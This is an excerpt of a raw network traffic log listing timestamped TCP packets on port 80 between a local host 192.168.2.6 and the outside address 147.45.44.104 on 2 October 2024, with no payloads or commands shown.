Oct 2, 2024 17:17:28.629285097 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.629302979 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.629312038 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.629313946 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.629327059 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.629339933 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.629369974 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.629542112 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.629553080 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.629565001 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.629612923 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.629734993 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.629745960 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.629757881 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.629767895 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.629802942 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.629806042 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.629817963 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.629827976 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.629839897 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.629842043 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.629935026 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.629945993 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.629955053 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.629956007 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.629970074 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.629975080 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.629982948 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.629991055 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.630018950 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.630383015 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.630422115 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.630444050 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.630455017 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.630469084 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.630487919 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.630503893 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.630652905 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.630665064 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.630676985 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.630697012 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.630697966 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.630709887 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.630722046 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.630727053 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.630733967 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.630750895 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.630779028 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.630894899 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.630906105 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.630917072 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.630928040 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.630929947 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.630939007 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.630945921 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.630951881 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.630963087 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.630973101 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.630974054 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.630989075 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.631000996 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.631016970 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.631552935 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.631593943 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.631593943 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.631606102 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.631628036 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.631643057 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.631659985 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.631670952 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.631681919 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.631694078 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.631704092 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.631730080 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.631767035 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.631778955 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.631789923 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.631802082 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.631802082 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.631830931 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.631875992 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.631886005 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.631896973 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.631907940 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.631908894 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.631920099 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.631925106 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.631956100 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.632533073 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.632544994 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.632555962 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.632571936 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.632580996 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.632584095 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.632607937 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.632626057 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.632657051 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.632668018 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.632679939 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.632693052 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.632700920 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.632704973 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.632733107 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.632816076 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.632826090 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.632838011 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.632848024 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.632849932 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.632860899 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.632873058 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.632874012 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.632908106 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.632925034 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.633408070 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.633436918 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.633447886 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.633456945 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.633480072 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.633495092 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.633517027 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.633528948 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.633538961 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.633549929 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.633549929 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.633565903 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.633582115 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.633584023 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.633593082 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.633604050 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.633616924 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.633650064 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.718663931 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.718684912 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.718712091 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.718724966 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.718727112 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.718739033 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.718755960 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.718760014 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.718765974 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.718774080 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.718784094 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.718796015 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.718806028 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.718808889 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.718823910 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.718825102 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.718842983 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.718856096 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.718863010 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.718879938 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.718904018 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.718904972 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.718918085 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.718931913 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.718941927 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.718943119 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.718957901 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.718970060 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.718978882 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.719022036 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.719033957 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.719046116 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.719057083 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.719058037 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.719086885 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.719101906 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.720036983 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.720052958 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.720065117 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.720088005 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.720093012 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.720099926 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.720112085 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.720120907 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.720127106 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.720144987 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.720160961 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.720161915 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.720175982 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.720200062 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.720222950 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.720293999 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.720309019 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.720314980 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.720320940 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.720328093 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.720339060 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.720352888 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.720355988 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.720371008 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.720392942 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.720407009 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.720417976 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.720422029 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.720443010 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.720443010 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.720454931 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.720458984 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.720474005 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.720491886 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.720571041 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.720583916 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.720594883 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.720604897 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.720607042 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.720619917 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.720619917 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.720633984 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.720637083 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.720649004 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.720662117 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.720688105 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.720696926 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.720710039 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.720721960 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.720745087 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.720760107 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.723653078 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.723695993 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.723714113 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.723735094 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.723754883 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.723758936 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.723767042 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.723778963 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.723793983 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.723799944 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.723815918 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.723839998 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.723844051 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.723853111 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.723875046 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.723891020 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.723983049 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.723995924 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.724008083 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.724028111 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.724030018 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.724052906 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.724055052 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.724066973 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.724078894 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.724078894 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.724096060 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.724100113 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.724112034 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.724113941 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.724123001 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.724138021 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.724145889 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.724153996 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.724159002 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.724179029 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.724184036 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.724190950 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.724200964 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.724204063 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.724216938 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.724234104 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.724364996 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.724376917 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.724387884 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.724400997 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.724430084 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.724456072 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.724467993 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.724488020 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.724489927 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.724509001 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.724514961 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.724523067 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.724533081 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.724535942 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.724549055 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.724550009 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.724565983 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.724591017 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.724646091 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.724658966 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.724669933 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.724683046 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.724690914 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.724694967 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.724708080 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.724719048 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.724720001 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.724735022 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.724762917 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.724973917 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.725008011 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.725020885 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.725044012 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.725059986 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.725064993 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.725076914 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.725087881 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.725106001 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.725110054 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.725121975 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.725131035 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.725136042 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.725157976 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.725182056 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.725249052 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.725260973 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.725271940 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.725286007 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.725296021 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.725300074 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.725311995 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.725322008 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.725325108 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.725338936 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.725366116 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.725389957 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.725403070 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.725414991 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.725428104 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.725436926 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.725440025 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.725452900 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.725452900 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.725465059 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.725477934 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.725480080 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.725491047 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.725506067 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.725522041 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.809835911 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.809891939 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.809909105 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.809925079 CEST	80	65281	147.45.44.104	192.168.2.6
